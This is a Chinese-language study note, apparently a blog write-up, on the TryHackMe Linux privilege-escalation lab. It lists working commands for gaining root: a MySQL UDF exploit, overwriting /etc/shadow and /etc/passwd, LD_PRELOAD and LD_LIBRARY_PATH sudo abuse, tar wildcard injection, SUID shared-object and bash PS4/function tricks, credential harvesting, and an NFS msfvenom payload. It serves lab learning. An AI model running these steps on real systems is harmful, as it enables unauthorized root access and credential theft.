0%

THM学习日寄26-Linux PrivEsc

  • 服务漏洞利用

    MySQL 正在以 root 身份运行,且服务的 root 用户未设置密码,即可以以 root 用户无密码连接到 MySQL 服务

    可以利用用户定义函数 UDF 通过 MySQL 来以 root 运行命令,见这里

    切换到 /home/user/tools/mysql-udf

    下载下来 1518.c ,并编译:

    1
    2
    gcc -g -c 1518.c -fPIC
    gcc -g -shared -Wl,-soname,1518.so -o 1518.so 1518.o -lc

    随后连接到 MySQL ,创建一个 do_system 的用户定义函数UDF,来使用 poc

    1
    2
    3
    4
    5
    6
    mysql -u root
    use mysql;
    create table noone(line blob);
    insert into noone values(load_file('/home/user/tools/mysql-udf/1518.so'));
    select * from noone into dumpfile '/usr/lib/mysql/plugin/1518.so';
    create function do_system returns integer soname '1518.so';

    随后使用该函数将 /bin/bash 复制一份到 /tmp/rootbash ,并设置 SUID 权限

    1
    select do_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash');
    1
    /tmp/rootbash -p

  • 弱文件权限-可读的 /etc/shadow

    直接爆 roothash 就行

  • 弱文件权限-可写的 /etc/shadow

    创建一个自定义密码并 hash

    1
    mkpasswd -m sha-512 [新密码]

    然后将 root 的原密码哈希替换为新的

  • 弱文件权限-可写的 /etc/passwd

    仍是生成一个新密码的 hash ,并用其替换 root 用户行的 x

  • sudo - shell 逃逸序列

    就是 sudo -l ,再去GTFOBins 找显示有 sudo 功能的

  • sudo - 环境变量

    sudo -l 中查找被继承的环境变量:env_keep

    可以看到 LD_PRELOADLD_LIBRARY_PATH 都是从用户环境中继承,前者在运行程序时在其他所有共享对象之前加载一个共享对象,后者提供了共享库首先搜索的目录列表

    • LD_PRELOAD

      使用在 /home/user/tools/sudopreload.c 创建一个共享对象,将 LD_PRELOAD 环境变量设置为新共享对象的完整路径并运行任意一个可以通过 sudo 运行的程序

      1
      2
      gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /home/user/tools/sudo/preload.c
      sudo LD_PRELOAD=/tmp/preload.so [sudo -l 看到的程序任意]

    • LD_LIBRARY_PATH

      再以 /usr/sbin/apache2 为例,运行 ldd 来查看其使用的共享库

      使用 /home/user/tools/sudolibrary_path.c 创建一个和其中任意库同名的共享对象,再用 sudo 运行 apache2 ,同时将 LD_LIBRARY_PATH 环境变量设置为 /tmp ,即输出的共享对象的位置

      1
      2
      gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
      sudo LD_LIBRARY_PATH=/tmp apache2

  • 定时任务-文件权限

    就是 cat /etc/crontab 找可更改的任务并替换为反弹 shell

  • 定时任务-PATH 环境变量

    PATH 变量中有用户主目录,在这里写个 shell 即可

  • 定时任务-通配符

    1
    cat /usr/local/bin/compress.sh

    注意这个定时任务里面的 *

    tar 命令在用户主目录使用了通配符 * ,而 tar 具有命令行选项。可以作为检查点功能的一部分运行其他命令,即在主目录新建这两个:

    1
    2
    touch /home/user/--checkpoint=1
    touch /home/user/--checkpoint-action=exec=shell.elf

    tar 命令运行时,通配符会确保扫描到这些文件,而由于其文件名是有效的 tar 命令行选项,其会被视为选项而非文件名

    那么再传一个 shell.elf 即可

  • SUID/SGID 可执行文件-已知漏洞

    1
    find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null

    找到所有的 SUID/SGID 可执行文件,然后慢慢找对应版本是否有漏洞

  • SUID/SGID 可执行文件-共享对象注入

    这个我不知道是怎么发现的

    /usr/local/bin/suid-so 容易受到共享对象注入攻击:运行看到其在退出前显示一个进度条:

    strace 来跟踪该文件,并搜索 open/access 调用和 no such file 错误:

    1
    strace /usr/local/bin/suid-so 2>&1 | grep -iE "open|access|no such file"

    看到其试图加载家目录下的一个共享对象但未找到:

    那么手动创建一个 .config 目录,并用 /home/user/tools/suid/libcalc.c 生成一个 .so 并放到对应位置,再执行 suid-so 即可

  • SUID/SGID 可执行文件-环境变量

    对于 /usr/local/bin/suid-env 文件,发现其试图启动 apache2

    strings 看一下字符串

    这里还是不够敏感,从 service apache2 start 应该发现是使用了 service 文件来启动服务器,但是没使用完整路径 /usr/sbin/service

    那么就是新建个叫 serviceshell ,把其路径加到 PATH 里面即可

  • SUID/SGID 可执行文件-滥用 shell

    1
    /usr/local/bin/suid-env2

    唯一的不同是其使用了 service 的完整路径来启动 apache2

    1
    /bin/bash --version

    这里有个神奇的 trick:在 bash 版本低于 4.2.048 的情况下,可以令 shell 函数的名称与文件路径相同,再导出该函数,使其替代文件路径下任何实际可执行路径:

    即定义一个名为 /usr/sbin/servicebash 函数,再导出:

    1
    2
    function /usr/sbin/service {/bin/bash -p;}
    export -f /usr/sbin/service

    随后运行 suid-env2 即可

  • SUID/SGID 可执行文件-滥用 shell #2

    此类方法仅在 bash 4.4 (不包括)以下版本生效

    在调试模式下,bash 使用环境变量 PS4 来显示用于调试语句的额外提示

    那么在使用 bash 调试的时候将 PS4 变量设置为一个嵌入式命令来将 /bin/bash 复制到 /tmp/rootbash 并加上 SUID 权限:

    1
    env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash)' /usr/local/bin/suid-env2

    再去 /tmp/rootbash 即可

  • 密码和密钥-历史文件

    就是看用户主目录中历史文件,其记录了命令行输入,如果在输用户名的时候输入密码就会被记录在其中

    1
    cat ~/.*history | less
  • 密码和密钥-配置文件

    就是找明文或可解密格式存密码的配置文件,在这里是:

    1
    cat /home/user/myvpn.ovpn

    其指向: /etc/openvpn/auth.txt

    其中找到明文密码

  • 密码和密钥- ssh 密钥

    用户会备份重要文件,但有时未能使用正确权限保护他们

    ls -la / 看到隐藏目录 .ssh

    找到 root_key

  • NFS

    使用 NFS 创建的文件会继承远程用户的 id ,并启用了 root 压缩,那么 ID 会被设置为 nobody

    cat /etc/exports 检查虚拟机的 NFS 配置:

    注意到 /tmp 共享禁用了 root 压缩

    在攻击机上创建挂载点并挂载该 /tmp 共享,再用 msf 生成一个调用 /bin/bashpayload,将其保存在挂载的共享的目录下:

    1
    2
    3
    mkdir /tmp/nfs
    mount -o rw,vers=3 10.10.108.95:/tmp /tmp/nfs
    msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf

    在受害者上执行 /tmp/shell.elf 即可

  • 内核漏洞

    可以使用 Linux Exploit Suggester 2 来扫描,然后脏牛提权